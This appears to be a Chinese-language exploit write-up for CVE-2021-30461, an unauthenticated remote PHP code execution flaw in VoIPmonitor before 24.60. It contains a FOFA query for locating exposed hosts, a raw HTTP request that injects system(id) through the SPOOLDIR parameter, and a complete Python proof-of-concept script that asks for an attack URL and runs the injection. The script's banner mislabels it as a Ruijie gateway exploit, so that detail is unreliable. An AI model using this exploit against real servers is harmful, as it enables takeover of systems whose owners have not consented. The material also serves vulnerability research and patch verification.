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135 lines
4.3 KiB
Markdown
135 lines
4.3 KiB
Markdown
# VoIPmonitor 远程命令执行漏洞 CVE-2021-30461
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## 漏洞描述
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VoIPmonitor是“具有在Linux上运行的SIP RTP和RTCP VoIP协议的具有商业前端的开源网络数据包嗅探器”。
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使用通过Web界面到达的用户提供的数据，允许未经身份验证的远程用户触发VoIPmonitor中的远程PHP代码执行漏洞。
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## 漏洞影响
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```
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VoIPmonitor < 24.60
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```
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## FOFA
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```
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"VoIPmonitor"
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```
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## 漏洞复现
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登录页面如下
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index.php文件中的关键代码
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```php
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$setConfigurationTypeValue_rslt = array();
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if(file_exists('config/configuration.php')) {
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$existsConfiguration = true;
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if(isset($_POST['recheck'])) {
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if(!empty($_POST['SPOOLDIR'])) {
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setConfigurationTypeValue__index('SPOOLDIR', $_POST['SPOOLDIR']);
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}
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}
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```
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传入参数 recheck 和 SPOOLDIR， 并将**SPOOLDIR** 写入 **config/configuration.php** 中
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发送如下请求包
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```plain
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POST /index.php HTTP/1.1
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Host:
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0
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Accept-Encoding: gzip, deflate
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Accept: */*
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Connection: close
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Accept-Language: en-US,en;q=0.5
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Content-Type: application/x-www-form-urlencoded; charset=UTF-8
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Content-Length: 49
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SPOOLDIR=test%22.system%28id%29.%22&recheck=annen
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```
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成功执行命令
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## 漏洞POC
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```python
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#!/usr/bin/python3
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#-*- coding:utf-8 -*-
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# author : PeiQi
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# from : http://wiki.peiqi.tech
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import base64
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import requests
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import random
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import re
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import json
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import sys
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from requests.packages.urllib3.exceptions import InsecureRequestWarning
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def title():
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print('+------------------------------------------')
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print('+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m')
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print('+ \033[34mGithub : https://github.com/PeiQi0 \033[0m')
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print('+ \033[34m公众号 : PeiQi文库 \033[0m')
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print('+ \033[34mVersion: 锐捷EG网关 cli.php RCE \033[0m')
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print('+ \033[36m使用格式: python3 poc.py \033[0m')
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print('+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx \033[0m')
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print('+------------------------------------------')
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def POC_1(target_url):
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vuln_url = target_url + "/index.php"
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data = {"SPOOLDIR": "/tmp", "recheck": "annen"}
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headers = {
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"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
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"Content-Type": "application/x-www-form-urlencoded"
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}
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try:
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requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
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response = requests.post(url=vuln_url, data=data, headers=headers, verify=False)
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except Exception as e:
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print("\033[31m[x] 请求失败:{} \033[0m".format(e))
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sys.exit(0)
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POC_2(target_url)
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def POC_2(target_url):
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vuln_url = target_url + "/index.php"
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headers = {
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"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
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"Content-Type": "application/x-www-form-urlencoded"
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}
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data = {"SPOOLDIR": "test\".system(id).\"", "recheck": "annen"}
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print("\033[36m[o] 正在执行命令 id .....\033[0m")
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try:
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requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
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response = requests.post(url=vuln_url, data=data, headers=headers, verify=False)
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if "uid=" in response.text:
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print("\033[36m[o] 成功执行 id, 目标存在漏洞.....\033[0m")
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else:
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print("\033[31m[x] 请求失败 \033[0m")
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exit()
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except Exception as e:
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print("\033[31m[x] 请求失败:{} \033[0m".format(e))
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sys.exit(0)
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if __name__ == '__main__':
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title()
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target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
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POC_1(target_url)
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```
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